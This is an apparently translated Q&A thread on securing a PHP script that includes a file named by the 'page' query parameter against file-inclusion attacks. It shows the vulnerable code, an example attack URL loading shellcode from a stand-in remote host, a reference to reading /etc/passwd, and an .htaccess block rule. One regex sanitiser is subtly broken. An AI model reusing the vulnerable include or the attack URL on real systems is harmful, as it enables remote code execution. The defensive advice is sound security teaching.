24

我的网站最近遭到了攻击,在我看来,这是一个无辜的代码:

<?php
  if ( isset( $ _GET['page'] ) ) {
    include( $ _GET['page'] . ".php" );
  } else {
    include("home.php");
  }
?>

那里没有 SQL 调用,所以我不害怕 SQL 注入。但是,显然,SQL 并不是唯一的注入方式。

这个网站有一个解释和一些避免代码注入的例子:http ://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html

您将如何保护此代码免受代码注入?

4

10 回答 10

40

使用白名单并确保页面在白名单中:

  $whitelist = array('home', 'page');

  if (in_array($_GET['page'], $whitelist)) {
        include($_GET['page'].'.php');
  } else {
        include('home.php');
  }
于 2008-09-02T05:30:06.120 回答
15

另一种清理输入的方法是确保其中只有允许的字符(没有“/”、“.”、“:”、...)。但是不要对字符使用黑名单,而是对允许的字符使用白名单:

$page = preg_replace('[^a-zA-Z0-9]', '', $page);

... 后跟一个 file_exists。

这样,您可以确保只执行您想要执行的脚本(例如,这将排除“blabla.inc.php”,因为“.”是不允许的)。

注意:这是一种“hack”,因为用户可以执行“home”,它会给出“home”页面,因为它所做的只是删除所有被禁止的字符。这并不是要阻止那些想在你的页面上添加可爱的东西的“聪明人”,但它会阻止人们做非常糟糕的事情。

顺便说一句:您可以在.htaccess文件中做的另一件事是防止明显的攻击尝试:

RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /–http– [F,NC]
RewriteRule http: /–http– [F,NC]

这样,所有使用“http:”url(和查询字符串)的页面访问都会导致“禁止”错误消息,甚至不会到达 php 脚本。这会减少服务器负载。

但是请记住,查询字符串中不允许出现“http”。您的网站在某些情况下可能需要它(可能在填写表格时)。

顺便说一句:如果您能阅读德语:我也有关于该主题的博客文章。

于 2008-09-02T08:40:08.597 回答
5

接受用户输入时的第一条规则始终是对其进行清理。在这里,您不会在将页面 GET 变量传递给包含之前对其进行清理。在包含该文件之前,您应该执行基本检查以查看该文件是否存在于您的服务器上。

于 2008-09-02T05:29:52.390 回答
5

Pek,除了sql注入,甚至是不同类型的代码注入,还有很多事情需要担心。现在可能是进一步研究 Web 应用程序安全性的好时机。

从上一个关于从桌面迁移到 Web 开发的问题中,我写道:

OWASP 构建安全 Web 应用程序和 Web 服务指南应该是任何希望认真对待安全性的 Web 开发人员(应该是所有Web 开发人员)的必读。在考虑安全性时,有许多原则可以帮助您建立所需的心态。

如果您不适合阅读大篇幅文档,那么请观看几年前 Mike Andrews 在 Google 举办的关于如何破解 Web 软件的研讨会视频。

于 2008-09-02T10:01:58.133 回答
4

我假设您处理同一目录中的文件:

<?php
if (isset($_GET['page']) && !empty($_GET['page'])) {
  $page = urldecode($_GET['page']);
  $page = basename($page);
  $file = dirname(__FILE__) . "/{$page}.php";
  if (!file_exists($file)) {
    $file = dirname(__FILE__) . '/home.php';
  }
} else {
  $file = dirname(__FILE__) . '/home.php';
}
include $file;
?>

这不是太漂亮,但应该可以解决您的问题。

于 2008-09-02T05:29:48.023 回答
3

pek,对于短期修复应用其他用户建议的解决方案之一。对于中长期计划,您应该考虑迁移到现有的 Web 框架之一。它们以可靠、安全的方式处理所有低级内容,例如路由和文件包含,因此您可以专注于核心功能。

不要重新发明轮子。使用框架。他们中的任何一个都比没有好。最初的学习时间投资几乎可以立即得到回报。

于 2008-09-02T09:51:27.643 回答
1

到目前为止,一些很好的答案,还值得指出几个 PHP 细节:

文件打开函数使用包装器来支持不同的协议。这包括通过本地 Windows 网络、HTTP 和 FTP 等打开文件的能力。因此,在默认配置中,原始问题中的代码可以很容易地用于打开 Internet 上及其他地方的任意文件;当然,包括服务器本地磁盘上的所有文件(webbserver 用户可以读取)。/etc/passwd总是一个有趣的。

安全模式,open_basedir可用于限制特定目录之外的文件被访问。

配置设置也很有用allow_url_fopen,它可以在使用文件打开功能时禁用对文件的 URL 访问。ini-set可用于在运行时设置和取消设置此值。

这些都是不错的后备安全防护,但请使用白名单来包含文件。

于 2008-09-02T10:13:11.460 回答
1

我知道这是一篇非常古老的帖子,我希望您不再需要答案,但我仍然错过了一个非常重要的方面,恕我直言,我喜欢与其他阅读这篇文章的人分享。在基于变量值包含文件的代码中,您在字段值和请求结果之间建立了直接链接(页面变为 page.php)。我认为最好避免这种情况。对某些页面的请求与该页面的交付之间存在差异。如果您做出这种区分,您可以使用对用户和 SEO 非常友好的漂亮 url。您可以创建一个类似于“Spinoza-Ethica”的 URL,而不是像“page”这样的字段值。这是白名单中的键或数据库表中的主键,将返回硬编码的文件名或值。除了普通的白名单外,该方法还有几个优点:

  1. 后端响应实际上独立于前端请求。如果您想以不同方式设置后端系统,则无需在前端进行任何更改。

  2. 始终确保以硬编码文件名或数据库中的等效文件名结尾(最好是存储过程的返回值),因为当您使用请求中的信息来构建响应时,它会带来麻烦。

  3. 因为您的 URL 独立于后端的传递,所以您永远不必为这种更改重写 htAccess 文件中的 URL。

  4. 呈现给用户的 URL 是用户友好的,告知用户文档的内容。

  5. 好的 URL 对 SEO 非常有利,因为搜索引擎正在搜索相关内容,当您的 URL 与内容一致时,它会获得更好的速度。至少比当您的内容绝对不符合您的内容时更好。

  6. 如果您不直接链接到 php 文件,则可以在处理之前将漂亮的 URL 转换为任何其他类型的请求。这给了程序员更多的灵活性。

  7. 您将不得不清理请求,因为您从标准的不可信来源(Web 的其余部分)获取信息。仅使用好的 URL 作为可能的输入使 URL 的清理过程更加简单,因为您可以检查返回的 URL 是否符合您自己的格式。确保 nice URL 的格式不包含在漏洞利用中广泛使用的字符(如 ',",<,>,-,&,; 等)。

于 2012-10-10T08:55:51.070 回答
0

@pek - 那行不通,因为您的数组键是 0 和 1,而不是 'home' 和 'page'。

我相信这段代码应该可以解决问题:

<?php

$whitelist = array(
  'home',
  'page',
);

if(in_array($_GET['page'], $whitelist)) {
  include($_GET['page'] . '.php');
} else {
  include('home.php');
}

?>

由于您有白名单,因此不需要file_exists()任何一个。

于 2008-09-02T20:06:36.230 回答
0

想想 URL 是这样的格式:

www.yourwebsite.com/index.php?page= http://malcodes.com/shellcode.txt

如果 shellcode.txt 运行 SQL 或 PHP 注入,那么您的网站将处于危险之中,对吗?考虑一下,使用白名单会有所帮助。

有一种方法可以过滤所有变量以避免黑客攻击。您可以使用 PHP IDS 或 OSE 安全套件来帮助避免黑客攻击。安装安全套件后,您需要激活套件,这里是指南:

http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html

我建议你打开二层保护,然后所有的 POST 和 GET 变量都会被过滤掉,尤其是我提到的那个,如果发现攻击,它会立即报告给你/

安全永远是重中之重

于 2013-02-05T05:11:00.217 回答